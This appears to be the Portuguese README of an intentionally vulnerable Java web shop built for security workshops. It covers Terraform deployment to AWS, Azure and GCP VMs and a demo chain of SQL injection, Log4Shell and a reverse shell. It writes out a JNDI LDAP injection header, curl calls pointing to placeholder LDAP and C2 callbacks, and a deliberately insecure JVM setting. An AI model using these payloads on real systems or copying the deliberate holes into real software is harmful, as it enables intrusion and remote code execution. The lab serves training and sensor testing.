TraditionalJay

Loja clássica / tradicional intencionalmente vulnerável para workshops de segurança — Java numa VM (EC2, Azure VM ou GCP Compute Engine), não contentores.

História principal: Comprometimento Crítico de VM — SQL injection → Log4Shell (CVE-2021-44228) → reverse shell para C2 externo.

[!CAUTION] Não implementar em contas de produção. Mantenha as VMs efémeras e com âmbito de rede confinado ao seu laboratório.

Porquê isto existe

A Jay's Surf Shop cobre runtimes cloud‑native (ECS / ACA / GKE). A TraditionalJay cobre o caminho host / VM:

Início rápido (local)

cd app
mvn -DskipTests spring-boot:run
# abrir http://localhost:8080
# laboratório de exploração: http://localhost:8080/security

Requer Java 11+ e Maven.

Comprometimento Crítico de VM

1. SQL injection — concatenação de strings em SQLite em /search extrai uma tabela secrets.
2. Log4Shell — pesquisa JNDI LDAP do Log4j 2.14.1 para o seu listener.
3. Reverse shell → C2 — ligação bash /dev/tcp de curta duração para o seu listener C2.

# listeners (acessíveis a partir da VM)
python3 tools/ldap-listen.py --port 1389
python3 tools/c2-listen.py --port 4444

# ou abrir http://HOST:8080/security e clicar em Run Critical VM Compromise
curl -s -X POST "http://HOST:8080/api/demo/critical-vm-compromise" \
  --data-urlencode "ldap_callback=YOUR_IP:1389" \
  --data-urlencode "c2_callback=YOUR_IP:4444" | jq .

Log4Shell — RCE completo (sandbox)

Apenas sonda (comprova dial‑out LDAP):

python3 tools/ldap-listen.py --port 1389

RCE completo (LDAP do marshalsec + Exploit.class remoto; a VM executa com trustURLCodebase=true propositadamente):

./tools/setup-marshalsec.sh
./tools/run-log4shell-ldap.sh --codebase-host YOUR_PUBLIC_IP

Depois abra /security, defina o callback LDAP para YOUR_PUBLIC_IP:1389 e clique em Run Log4Shell. Em caso de sucesso, a VM obtém /tmp/jss-log4shell-rce, /tmp/jss-log4shell-id.txt e um bash interativo de ~45 segundos (PTY via script quando disponível) para demonstrações de sensores no host.

Também pode atingir a pesquisa com um User-Agent manipulado:

curl -s "http://localhost:8080/search?q=wax" \
  -H 'User-Agent: ${jndi:ldap://127.0.0.1:1389/a}' -o /dev/null

Sensor Upwind no host (primeira inicialização)

Passe as credenciais Upwind através do ficheiro local terraform.tfvars (ignorado pelo git). O cloud‑init exporta‑as e scripts/install-vm.sh executa scripts/install-upwind-sensor.sh.

Memória: scanner-v2=true necessita de ~7 GiB de RAM livre no momento da instalação (não de disco). O Terraform predefinido na AWS utiliza t3.large (8 GiB) + raiz 40 GiB gp3 para que o scanner não seja ignorado (Skipping scanner installation, requires 7000000 kB em instâncias mais pequenas).

curl -s https://get.upwind.io/sensor.sh | \
  UPWIND_CLIENT_ID=… \
  UPWIND_CLIENT_SECRET=… \
  UPWIND_AGENT_EXTRA_CONFIG="scanner-v2=true" \
  bash -s

Exemplo AWS infrastructure/aws/terraform.tfvars:

upwind_client_id          = "…"
upwind_client_secret      = "…"
upwind_agent_extra_config = "scanner-v2=true"

Se as credenciais estiverem vazias, a aplicação é instalada na mesma e o passo do sensor é ignorado.

CI

Workflow do GitHub Actions .github/workflows/build.yml:

• push / PR / manual → Maven package + carregar artefacto JAR
• tag v* → GitHub Release com o JAR gordo

As VMs preferem o JAR da Release mais recente via scripts/install-vm.sh e recorrem a uma compilação Maven local se ainda não existir release. O instalador explode então o JAR gordo em /opt/traditionaljay/BOOT-INF/lib/ e executa JarLauncher, de modo que o SCA do host/agentless veja log4j-core-2.14.1.jar no disco (executar apenas java -jar app.jar aninha o Log4j dentro de um zip e frequentemente esconde CVE-2021-44228 do inventário de pacotes).

# criar uma release (desencadeia a publicação do JAR)
git tag v0.1.0 && git push origin v0.1.0

Implementar numa VM na cloud

Cada pasta cloud é um Terraform autónomo. A primeira inicialização executa scripts/install-vm.sh (OpenJDK 11 + JAR da Release ou compilação Maven + systemd).

AWS (EC2)

cd infrastructure/aws
terraform init
terraform apply
terraform output application_url

Azure (VM)

cd infrastructure/azure
terraform init
terraform apply -var="ssh_public_key=$(cat ~/.ssh/id_rsa.pub)"
terraform output application_url

GCP (Compute Engine)

cd infrastructure/gcp
terraform init
terraform apply -var="project_id=YOUR_PROJECT"
terraform output application_url

A primeira inicialização demora alguns minutos enquanto o Maven compila na instância. Depois abra http://PUBLIC_IP:8080/security.

Estrutura

app/                     Loja Spring Boot + interface /security Log4Shell
tools/ldap-listen.py     Listener LDAP apenas com banner (prova de dial‑out)
tools/run-log4shell-ldap.sh  Servidor LDAP RCE completo + codebase HTTP
tools/exploit/Exploit.java   Payload de classe remota para marshalsec
scripts/install-vm.sh    Instalador VM cloud‑init / manual
infrastructure/aws|azure|gcp

Notas de segurança

• O caminho de demonstração utiliza marshalsec LDAPRefServer + tools/exploit/Exploit.class para RCE real do Log4Shell em sandboxes isoladas.
• O sinalizador JVM -Dcom.sun.jndi.ldap.object.trustURLCodebase=true é intencional (desativado por predefinição no Java 11+).
• O ldap-listen.py apenas com banner permanece para prova de dial‑out LDAP sem execução de código.
• As firewalls predefinidas permitem 0.0.0.0/0 nas portas 22/8080 — aperte *_ingress_cidr / intervalos de origem para laboratórios partilhados.
• A versão permanece intencionalmente no Log4j 2.14.1. Não a “corrija” sem substituir o exercício.